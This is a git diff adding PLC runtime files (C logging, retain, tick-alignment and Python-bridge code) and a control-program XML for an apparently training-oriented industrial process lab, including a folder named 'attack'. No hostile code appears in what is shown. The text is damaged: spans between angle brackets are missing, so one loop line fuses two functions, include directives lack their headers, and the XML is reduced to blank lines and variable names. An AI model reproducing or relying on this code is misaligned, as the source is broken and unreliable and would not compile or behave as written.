sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git 